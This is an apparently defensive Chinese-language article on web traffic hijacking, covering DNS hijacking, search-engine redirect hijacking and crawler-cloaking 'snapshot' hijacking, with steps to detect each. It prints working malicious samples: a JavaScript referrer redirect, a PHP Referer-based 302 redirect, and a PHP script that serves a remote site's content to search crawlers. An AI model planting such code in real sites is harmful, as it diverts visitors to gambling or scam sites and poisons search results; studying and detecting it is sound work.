web流量劫持简介
web流量劫持是黑产最喜欢的一种web引流方式。web流量劫持,指攻击者通过劫持DNS或入侵网站并在网站代码中插入恶意代码等方式,以达到目标网站在被特定方式访问时,跳转到其他存在恶意网站的目的。这些恶意网站一般是私服或博彩等暴利行业的网站。web流量劫持从劫持方式上可以分为三大类:DNS劫持、搜索引擎劫持和快照劫持。
DNS劫持又名域名劫持,是互联网攻击的一种方式,通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定IP地址(网站)的目的。
攻击者对存在漏洞的DNS服务器进行攻击,攻击成功后,修改DNS服务器的解析记录,将某些域名www.xxxxx.com的解析修改成私服或博彩等暴利行业的网站ip地址,以达到web流量劫持的目的。
第一种:在浏览器地址栏输入域名后,显示出的页面为陌生页面,观察地址栏上的地址,如果地址栏上域名不变,则当前使用的DNS服务器已被劫持。
第二种:ping目标域名,观察回显的IP是否为陌生的IP地址或域名,如果是,则当前使用的DNS服务器已被劫持。
第三种:dig命令判断,使用方法:dig 域名。观察由当前域名解析出的IP是否为陌生IP地址,如果是,则当前使用的DNS服务器已被劫持。
搜索引擎劫持指攻击者入侵了某个权重较高(当使用搜索引擎搜索时,搜索引擎会根据权重等来进行排名展示)的web应用服务器后,在web应用文件中插入恶意代码。这些恶意代码会造成当从某些搜索引擎访问目标网站时,目标网站将会跳转到私服或博彩等暴利行业的网站。根据插入恶意代码的位置搜索引擎劫持可以分为前端搜索引擎劫持和后端搜索引擎劫持。
前端搜索引擎劫持指攻击者在前端js中插入恶意js脚本以达到搜索引擎劫持的目的。
恶意js脚本示例如下:
<script>
var referrer=document.referrer; if(referrer.indexOf("baidu")>0||referrer.indexOf("google")>0||referrer.indexOf("yahoo")>0||referrer.indexOf("sogou")>0||referrer.indexOf("youdao")>0||referrer.indexOf("bing")>0)
{self.location='http://www.xxxx.com';}
</script>
这段代码的含义是,如果来源URL中存在baidu、google、yahoo、sogou、youdao、bing等搜索引擎特征的字段,则跳转到http://www.xxxx.com。
将该代码展示效果如下:
正常访问网站时,网站并不会发生跳转
当从百度搜索引擎点击时
会由前端js重定向到http://www.xxxx.com
攻击者也可能将js代码进行混淆后再插入到web应用文件中,像如下图中的代码,也可实现搜索引擎劫持的功能。
后端搜索引擎劫持指攻击者在后端代码中插入恶意后端代码以实现搜索引擎劫持的目的。
恶意后端代码示例如下:
<?php
if(stristr($_SERVER['HTTP_REFERER'],"baidu") or stristr($_SERVER['HTTP_REFERER'],"google") or stristr($_SERVER['HTTP_REFERER'],"yahoo") or stristr($_SERVER['HTTP_REFERER'],"sogou"))
{
Header("Location:http://www.xxx.com/");
}
?>
这段代码的含义是,如果请求头Referer中存在baidu、google、yahoo、sogou等字段,则跳转到http://www.xxx.com/
该代码展示效果如下:
请求头的Referer字段不存在搜索引擎特征时,网站正常显示
请求头的Referer字段存在搜索引擎特征时,网站进行302重定向跳转到htpp://www.xxx.com
搜索引擎劫持判断步骤如下:
第一步:直接在浏览器地址栏输入域名后,页面不发生跳转,但在搜索引擎(百度、谷歌)搜索目标域名并进入后发生重定向(地址栏上URL已跳转到新的URL),该情况为搜索引擎劫持。
第二步:截取从搜索引擎进入目标网站的数据包,如果该数据包响应数据包状态码为3xx,则目标后端代码被插入重定向代码,可在源码中查找HTTP_REFERER、Location、baidu、google等关键字查找出该段恶意代码。如果响应包状态码为200,则目标网站前端js中被插入恶意代码,可通过查找referrer、location、baidu、google等关键字查找出恶意代码,如果全文中无法找到这些关键字,则攻击者可能混淆了关键代码,全文查找混淆后的js代码进行解密。
快照劫持指攻击者入侵了某个权重较高的网站后,在web应用文件中插入恶意代码。恶意代码会判断访问该网站的是不是百度、google等搜索引擎的蜘蛛爬虫,如果是,则输出私服或博彩等暴利行业的网站的内容给搜索引擎爬虫以达到搜索引擎劫持的目的。
快照劫持示例代码如下:
<?php
error_reporting(0);
if(stristr ($_SERVER['HTTP_USER_AGENT'],"baidu") or stristr ($_SERVER['HTTP_USER_AGENT'],"google"))
{
$cont = file_get_contents('http://www.xxx.com');
echo $cont;
}
else{
echo “hello world”;
}
?>
这段代码的含义是,如果请求头的User-Agent字段中存在搜索引擎爬虫的特征,则将http://www.xxx.com的内容展示给搜索引擎爬虫
该段代码展示效果如下:
正常访问网站时,服务端响应网站本身内容
模拟搜索引擎爬虫访问网站时,服务端响应博彩网站内容
快照劫持判断步骤和搜索引擎劫持判断步骤类似:
在源码中查找HTTP_USER_AGENT、baidu、google等关键字查找出该段恶意代码。